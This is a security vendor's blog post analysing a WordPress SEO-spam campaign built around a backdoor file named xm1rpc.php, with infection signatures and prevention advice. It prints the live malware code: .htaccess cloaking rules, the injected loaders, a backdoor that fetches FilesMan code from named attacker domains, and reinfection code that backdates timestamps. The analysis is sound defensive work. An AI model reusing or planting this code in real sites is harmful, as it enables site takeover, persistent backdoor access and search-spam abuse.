New XM1RPC SEO Spam and Backdoor Campaign

We have been monitoring a new campaign specifically targeting WordPress sites, using hundreds of them for SEO spam distribution. We call it the XM1RPC campaign due to the common backdoor used across all of the compromised sites.

The file is named in such a way as to confuse WordPress administrators who are familiar with XML-RPC.  This malware usually infects all sites that share the same FTP account, which means cleaning just one website won’t help, as hackers use the compromised site to reinfect all sites on the server in a matter of minutes.

Identifying Campaign Signatures

During our analysis, we were able to identify the following infection patterns:

  • The xm1rpc.php files are created on the website server;
  • Malicious code is injected at the top of the index.php and .htaccess files;
  • Uploaded .zip filenames are hashed i.e.,  d730d81e7e1033a51c2bddc5c68874ce.zip and 40ff8f74f40925e361f150ca6999ddeb.zip;
  • Uploaded .rar filenames are also hashed and contain templates of doorway pages;
  • Uploaded files named like: SESS_238b3aace45e2f4d45e8d455ff9ec4e7 (with or without a .php extension);
  • Malicious code may be injected into the /wp-includes/load.php WordPress core file.

These files can be found in the website’s root or in other directories.

Our Sucuri Firewall started identifying requests xm1rpc.php on October 29th:

91.200.80.52 - - [29/Oct/2016:17:40:10 -0400] "POST /xm1rpc.php?[REMOVED] 
HTTP/1.1" 405 568 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" "PROXYBLOCKID:" 
"CACHEP:-" "POSTLOG:pass=[REMOVED]&submit=%3E%3E"

However, before the xm1rpc.php files appear, we started seeing requests to the infected index.php files on October 15th and this may be when attackers started the campaign:

193.9.158.77 - - [15/Oct/2016:10:30:19 -0400] "POST /?[REMOVED] HTTP/1.1" 200 5223 
"-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/41.0.2228.0 Safari/537.36" "PROXYBLOCKID:" "CACHEP:-" 
"POSTLOG:pass=[REMOVED]&submit=%3E%3E"

XM1RPC.php Infection Details

The code injected into .htaccess forces all requests coming from search engine referrers or crawlers to be forwarded to the index.php file:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^.*$ index.php [L]
</IfModule>

When checking the index.php file, we see the following code added at the top of it:

<?php                                                                                                                                                                      
error_reporting(0);ini_set("display_errors",0);$localpath=getenv("SCRIPT_NAME");
$absolutepath=getenv("SCRIPT_FILENAME");
$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip"); ?>

This file loads and includes content from the d730d81e7e1033a51c2bddc5c68874ce.zip file (the name may vary). Despite the .zip extension, it’s not actually a compressed file, and instead contains the following PHP code:

<?php
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
__create_initial_settings();
$good_user_agents_to_filter = array( '#google#i' );
$reverse_ips_to_filter = array( '#google#i' );
$bad_user_agents_to_filter = array( '#yahoo#i', '#msn#i', '#aol#i', '#bing#i' );
$referers_to_filter = array('#google\.#i', '#yahoo\.#i', '#bing\.#i', '#msn\.#i', '#aol\.#i' );
$ip = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']: '';
$ua = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']: '';
$ref = isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER']: '';
$host = isset($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: '';
$host_hash = substr(md5($host), 0, 5);
$query = isset($_SERVER['QUERY_STRING'])? $_SERVER['QUERY_STRING']: '';
$request_uri = isset($_SERVER['REQUEST_URI'])? strtok(strtok($_SERVER['REQUEST_URI'],'&'),'?'): '';
$root_path = __get_root();

This code is not only responsible for creating files like xm1rpc.php, 7f68d2eda2a56bd9a6a4af8c957ca273.rar and SESS_238b3aace45e2f4d45e8d455ff9ec4e7, but it also works as a backdoor.

When sending a particular $_GET request, the previous .zip file gets the PHP code from the second 4bb0a250f62548654e50c3d29c4b6096.zip (the filename is the result of md5(‘wsa’) hash).

As you might have guessed, this .zip also isn’t a compressed file. This time, the PHP code contains a FilesMan backdoor that helps the attacker maintain access to the server.

Finally, the xm1rpc.php file acts as a similar backdoor, with some newer variations in the wild:

<?php 
$query = isset($_SERVER['QUERY_STRING'])? $_SERVER['QUERY_STRING']: ''; if (false !== 
strpos($query, '[REMOVED]')) { __get_ws(); $ws_hash = md5('wsa'); $cache_dir = __get_root();
$ws_file = $cache_dir.'/'.$ws_hash.'.zip'; require($ws_file); die(''); } function __get_root() { 
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");
$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); return $root_path; } 
function __get_ws() { $host = isset($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: '';
$ws_hash = md5('wsa'); $cache_dir = __get_root(); $ws_file = $cache_dir.'/'.$ws_hash.'.zip'; 
if (!file_exists($ws_file) || file_exists($ws_file) && (time() - filemtime($ws_file) > 60*60*24*1)) 
{ $ws = __fetch_url(__get_rev().'&get_ws'); if (!empty($ws)) file_put_contents($ws_file, $ws); 
} else { $ws = file_get_contents($ws_file); } return $ws; } function __get_rev() { return 
'hXXp://bokoinchina[.]com/extadult2[.]php?host='.trim(strtolower($_SERVER['HTTP_HOST']), 
'.').'&full_url='.urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
return 'hXXp://nezlobudnya[.]com/generate'; } function __fetch_url($url) { $contents = false; 
$errs = 0; while ( !$contents && ($errs++ < 3) ) { $user_agent = 'Mozilla/5.0 (Windows NT 6.1; 
WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'; if (is_callable('curl_init')) { $c = curl_init($url);
curl_setopt($c, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($c, CURLOPT_USERAGENT,$user_agent); $contents = curl_exec($c);
if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) $contents = false; curl_close($c); 
} else { $allowUrlFopen = preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen')); 
if ($allowUrlFopen) { $options = array('http' => array('user_agent' => $user_agent)); 
$context = stream_context_create($options); $contents = @file_get_contents($url, false, $context); 
} } } return $contents; }
// Silence is golden

To access the backdoor, the attacker needs to supply the right password. The FilesMan code is fetched from the malicious domains: bokoinchina[.]com and nezlobudnya[.]com.

There are some cases that we also see malicious code added to /wp-includes/load.php, which is a WordPress core file. The injected code is able to create the xm1rpc.php file which reinfects the .htaccess:

$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");
$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
$xml=$root_path.'/xm1rpc.php';if(!file_exists($xml)){file_put_contents
($xml,base64_decode('PD9waHAgICAgICAgICAg
...
IH0gcmV0dXJuICRjb250ZW50czsgfQovLyBTaWxlbmNlIGlzIGdvbGRlbg=='));
} $htaccess_path = $root_path.'/.htaccess'; chmod(dirname($htaccess_path), 0755); 
chmod($htaccess_path, 0644); touch($htaccess_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); 
touch(dirname($htaccess_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); 
$htaccess_content_original = file_get_contents($htaccess_path); 
$htaccess_content_original = str_replace("<IfModule mod_rewrite.c>\nRewriteCond %{HTTP_USER_AGENT} 
(google|yahoo|msn|aol|bing) [OR]\nRewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
\nRewriteRule ^.*$ index.php [L]\n</IfModule>", '', $htaccess_content_original); 
$htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine 
On\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond 
%{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ 
index.php [L]\n</IfModule>", '', $htaccess_content_original); 
$htaccess_content_original = str_replace("<IfModule mod_rewrite.c>RewriteEngine 
on\nRewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]\nRewriteCond 
%{HTTP_REFERER} (google|yahoo|msn|aol|bing)\nRewriteRule ^.*$ index.php [L]\n</IfModule>",
 '', $htaccess_content_original); $htaccess_content_original = preg_replace("/\n+/", "\n",
 $htaccess_content_original); if (strpos($htaccess_content_original, trim($htaccess)) === false) 
{ $htaccess_content = $htaccess."\n".$htaccess_content_original; file_put_contents($htaccess_path, 
$htaccess_content); chmod($htaccess_path, 0644); touch($htaccess_path, time() - 
mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($htaccess_path), time() - 
mt_rand(60*60*24*30, 60*60*24*365)); }

There are some newer variations of the code above that have also been inserted into index.php files.

The SESS_* files (named like SESS_3db854d5573b52dbfa7a21df3f78a92c) could also contain FilesMan code or a copy of the website homepage. If it has a .php extension, it’s a backdoor that can be accessed similarly to the xm1rpc.php file.

How to Prevent the XM1RPC.php Infection

Here are some steps to prevent those attacks moving forward:

Avoid hosting several websites under the same shared account. This can lead to cross-site contamination, where one website can infect another on the same server.

  1. Avoid hosting several websites under the same shared account. This can lead to cross-site contamination, where one website can infect another on the same server.
    Use a
    Web Application Firewall. The Sucuri Firewall is able to block the use of the backdoors discussed here.
  2. Update your software. Update your CMS (WordPress, Joomla, etc.), including all extensions. Outdated software is the leading cause for website infections and reinfections.
  3. Check your core files integrity. Backdoors and other malicious code can be inserted into core files. If you’re using WordPress, our free security plugin offers a core file integrity audit.

Has Your Website Been Infected?

If you need to clean this infection up, we can certainly help you on this task. Our team has created a guide to cleaning hacked WordPress sites that you can follow if you prefer the DIY route.

We also offer professional website malware removal services that will also protect and monitor your websites after they have been cleaned.

5 comments
  1. That’s a really interesting and valuable information, as a user of WordPress, it’s of a great importance to know what’s happening through the backdoor of WP. Thank you.

  2. Excellent information Fernando!!! Thank you very very very much for this article!!! It is very interesting, valuable and useful.

Comments are closed.

You May Also Like